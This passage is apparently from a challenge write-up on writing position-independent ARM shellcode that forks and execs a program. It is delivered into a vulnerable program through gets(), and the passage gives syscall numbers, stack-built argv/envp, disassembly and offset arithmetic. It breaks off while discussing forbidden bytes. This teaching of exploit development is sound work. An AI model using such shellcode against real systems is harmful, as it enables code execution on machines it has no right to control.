&lt;p&gt;&lt;label for='ClJlZmVyZW5jZXM6IFt3M2NoYWxsc10oaHR0cHM6Ly9zeXNjYWxscy53M2NoYWxscy5jb20vP2FyY2g9YXJtX3N0cm9uZykKYW5kCltMaW51eCBrZXJuZWxdKGh0dHBzOi8vZ2l0aHViLmNvbS90b3J2YWxkcy9saW51eC9ibG9iL3Y0LjE3L2FyY2gvYXJtL3Rvb2xzL3N5c2NhbGwudGJsKQogbWFyZ2lubm90ZXM=' class='margin-toggle'&gt; &amp;#8853;&lt;/label&gt;
&lt;input type='checkbox' id='ClJlZmVyZW5jZXM6IFt3M2NoYWxsc10oaHR0cHM6Ly9zeXNjYWxscy53M2NoYWxscy5jb20vP2FyY2g9YXJtX3N0cm9uZykKYW5kCltMaW51eCBrZXJuZWxdKGh0dHBzOi8vZ2l0aHViLmNvbS90b3J2YWxkcy9saW51eC9ibG9iL3Y0LjE3L2FyY2gvYXJtL3Rvb2xzL3N5c2NhbGwudGJsKQogbWFyZ2lubm90ZXM=' class='margin-toggle'/&gt;
&lt;span class='marginnote'&gt;
References: &lt;a href="https://syscalls.w3challs.com/?arch=arm_strong"&gt;w3challs&lt;/a&gt; and &lt;a href="https://github.com/torvalds/linux/blob/v4.17/arch/arm/tools/syscall.tbl"&gt;Linux kernel&lt;/a&gt;
&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;This is a summary of the syscalls’ numbers and arguments:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;            r7      r0      r1      r2      r3
syscall     num     arg1    arg2    arg3    argv4
fork        0x02
execve      0x0b    &amp;quot;/bi..&amp;quot; argv    envp
wait4       0x72    pid     NULL    0       NULL
exit_group  0xf8    num&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;argv&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; and &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;envp&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;, are arrays of pointers with a pointer to &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="nb"&gt;NULL&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; marking the end of the array.&lt;/p&gt;
&lt;p&gt;In Linux it is possible to pass a &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="nb"&gt;NULL&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; instead an array with a single pointer to &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="nb"&gt;NULL&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;. This could be used for &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;envp&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;However:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;On Linux, &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;argv&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; and &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;envp&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; can be specified as &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="nb"&gt;NULL&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;. In both cases, this has the same effect as specifying the argument as a pointer to a list containing a single null pointer. &lt;strong&gt;Do not take advantage of this nonstandard and nonportable misfeature!&lt;/strong&gt; On many other UNIX systems, specifying &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;argv&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; as NULL will result in an error (&lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;EFAULT&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;). &lt;em&gt;Some&lt;/em&gt; other UNIX systems treat the &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;envp&lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="nb"&gt;NULL&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; case the same as Linux. &lt;cite class="epigraph"&gt;&lt;a href="https://man7.org/linux/man-pages/man2/execve.2.html"&gt;man execve(2)&lt;/a&gt;&lt;/cite&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;No problem! We can design a single array in the stack to fulfill both:&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span markdown='1'&gt;
&lt;/span&gt;&lt;/figcaption&gt;
&lt;object style="display: block; margin-left: auto; margin-right: auto;" class='' align='middle' data='/img/arm/azeria-arm-challenges/argv.svg' type='image/svg+xml'&gt;&lt;/object&gt;&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;In assembly this translates to:&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;mov&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;r3&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;#0              @; &amp;amp;argv[3]&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;add&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;r2&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;pc&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;Largv2&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="nv"&gt;.&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;8&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;add&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;r1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;pc&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;Largv1&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="nv"&gt;.&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;8&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;add&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;r0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;pc&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;Largv0&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="nv"&gt;.&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="err"&gt;@&lt;/span&gt;&lt;span class="c1"&gt;; &amp;amp;argv[0]&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;push&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="nb"&gt;r0&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="nb"&gt;r3&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;But why &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="nf"&gt;add&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; and not &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="nf"&gt;mov&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;?&lt;/p&gt;
&lt;h2 id="position-independent-code"&gt;Position independent code&lt;/h2&gt;
&lt;p&gt;The exploit will be loaded in a piece of executable memory but we cannot know &lt;em&gt;a priori&lt;/em&gt; where.&lt;/p&gt;
&lt;p&gt;Therefore, branches and addresses &lt;strong&gt;must&lt;/strong&gt; be &lt;em&gt;relative&lt;/em&gt; to the program counter.&lt;/p&gt;
&lt;p&gt;We cannot just say &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="nf"&gt;mov&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;r2&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;label&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; as we will hardcoding the address of &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="nf"&gt;label&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;; we need to use &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="nf"&gt;add&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; and &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="nf"&gt;pc&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;.&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="err"&gt;00000020&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nf"&gt;Lchild&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="err"&gt;20:&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="nf"&gt;e3a03000&lt;/span&gt;&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="nv"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="nb"&gt;r3&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;#0&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="err"&gt;24:&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="nf"&gt;e28f204c&lt;/span&gt;&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="nv"&gt;add&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="nb"&gt;r2&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;pc&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;#76     ; 0x4c  argv2&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="err"&gt;28:&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="nf"&gt;e28f1044&lt;/span&gt;&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="nv"&gt;add&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="nb"&gt;r1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;pc&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;#68     ; 0x44  argv1&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="err"&gt;2&lt;/span&gt;&lt;span class="nl"&gt;c:&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="nf"&gt;e28f0034&lt;/span&gt;&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="nv"&gt;add&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="nb"&gt;r0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;pc&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;#52     ; 0x34  argv0&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="err"&gt;30:&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="nf"&gt;e92d000f&lt;/span&gt;&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="nv"&gt;push&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="nb"&gt;r0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;r1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;r2&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;r3&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="err"&gt;34:&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="nf"&gt;e28d1000&lt;/span&gt;&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="nv"&gt;add&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="nb"&gt;r1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;sp&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;#0&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="err"&gt;38:&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="nf"&gt;e28d200c&lt;/span&gt;&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="nv"&gt;add&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="nb"&gt;r2&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;sp&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;#12&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="err"&gt;3&lt;/span&gt;&lt;span class="nl"&gt;c:&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="nf"&gt;e3a0700b&lt;/span&gt;&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="nv"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="nb"&gt;r7&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;#11&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="err"&gt;40:&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="nf"&gt;ef000000&lt;/span&gt;&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="nv"&gt;svc&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="mh"&gt;0x00000000&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="nf"&gt;....&lt;/span&gt;&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="nv"&gt;....&lt;/span&gt;

&lt;span class="err"&gt;00000068&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nf"&gt;Largv0&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="nf"&gt;....&lt;/span&gt;&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="nv"&gt;....&lt;/span&gt;
&lt;span class="err"&gt;00000074&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nf"&gt;Largv1&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="nf"&gt;....&lt;/span&gt;&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="nv"&gt;....&lt;/span&gt;
&lt;span class="err"&gt;00000078&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nf"&gt;Largv2&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;The &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="nf"&gt;add&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; instructions like &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="nf"&gt;add&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;r2&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;pc&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;#76&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; makes the address relative to the program counter.&lt;/p&gt;
&lt;p&gt;To calculate the offset to a label like &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="nf"&gt;Largv0&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; we need to subtract the address of the label minus the current position minus 8 bytes (because &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="nf"&gt;pc&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; already has an implicit +0x8)&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;    &lt;span class="mh"&gt;0x78&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="mh"&gt;0x24&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="mh"&gt;0x8&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mh"&gt;0x4c&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;76&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Thankfully the assembler can do the calculus by us:&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;add&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;r2&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;pc&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;Largv2&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="nv"&gt;.&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;8&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;And the branches?&lt;/p&gt;
&lt;p&gt;&lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="nf"&gt;bne&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;Lparent_or_error&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; is a &lt;em&gt;PC-relative&lt;/em&gt; encoded jump: the program will jump to that &lt;em&gt;absolute&lt;/em&gt; address but the instruction is encoded as an &lt;em&gt;offset&lt;/em&gt; from the current &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="nf"&gt;pc&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;In other words, we are &lt;strong&gt;not&lt;/strong&gt; hardcoding a fixed address so our code will work regardless of where is going to be loaded.&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="err"&gt;00000000&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nf"&gt;egg&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="err"&gt;0:&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="nf"&gt;e3a07002&lt;/span&gt;&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="nv"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="nb"&gt;r7&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;#2&lt;/span&gt;
&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="err"&gt;4:&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="nf"&gt;ef000000&lt;/span&gt;&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="nv"&gt;svc&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="mh"&gt;0x00000000&lt;/span&gt;
&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="err"&gt;8:&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="nf"&gt;e3500000&lt;/span&gt;&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="nv"&gt;cmp&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="nb"&gt;r0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;#0&lt;/span&gt;
&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="nl"&gt;c:&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="err"&gt;1&lt;/span&gt;&lt;span class="nf"&gt;a000000&lt;/span&gt;&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="nv"&gt;bne&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="mi"&gt;14&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nv"&gt;Lparent_or_error&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="err"&gt;10:&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="nf"&gt;ea000002&lt;/span&gt;&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="nv"&gt;b&lt;/span&gt;&lt;span class="w"&gt;       &lt;/span&gt;&lt;span class="mi"&gt;20&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nv"&gt;Lchild&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="nf"&gt;....&lt;/span&gt;&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="nv"&gt;....&lt;/span&gt;
&lt;span class="err"&gt;00000020&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nf"&gt;Lchild&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="err"&gt;20:&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="nf"&gt;e3a03000&lt;/span&gt;&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="nv"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="nb"&gt;r3&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;#0&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;The address is computed as:&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;    &lt;span class="n"&gt;pc&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;offset&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="mi"&gt;4&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="mi"&gt;8&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;The branch at 0x10 has the offset 0x02 encoded in the instruction 0xea000002. Knowing that the offset is multiplied by 4 (because the addresses are aligned to 4 bytes; 2 in Thumb mode), and knowing that using &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="nf"&gt;pc&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; adds a 0x8 to the count (0x4 in Thumb mode), the final address is:&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;    &lt;span class="mh"&gt;0x10&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="mh"&gt;0x2&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="mi"&gt;4&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="mh"&gt;0x8&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mh"&gt;0x20&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Why did I use &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="nf"&gt;bne&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; instead of &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="nf"&gt;beq&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; ? Wouldn’t that be more direct?&lt;/p&gt;
&lt;h2 id="forbidden-bytes"&gt;Forbidden bytes&lt;/h2&gt;
&lt;p&gt;The vulnerable program will read our exploit using &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;gets&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;From the &lt;a href="https://man7.org/linux/man-pages/man3/gets.3.html"&gt;man pages&lt;/a&gt;, &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;gets&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; reads from &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;stdin&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; until it finds a &lt;em&gt;termination character&lt;/em&gt; or it is the end of the stream.&lt;/p&gt;
&lt;p&gt;In Linux, the new line (&lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="err"&gt;\&lt;/span&gt;&lt;span class="n"&gt;n&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; 0x0a) is the &lt;em&gt;termination character&lt;/em&gt; so our payload cannot have this byte or &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;gets&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; will stop in the middle of the copy.&lt;/p&gt;
&lt;p&gt;For example the simple snippet is forbidden:&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;cmp&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;r0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;#0&lt;/span&gt;
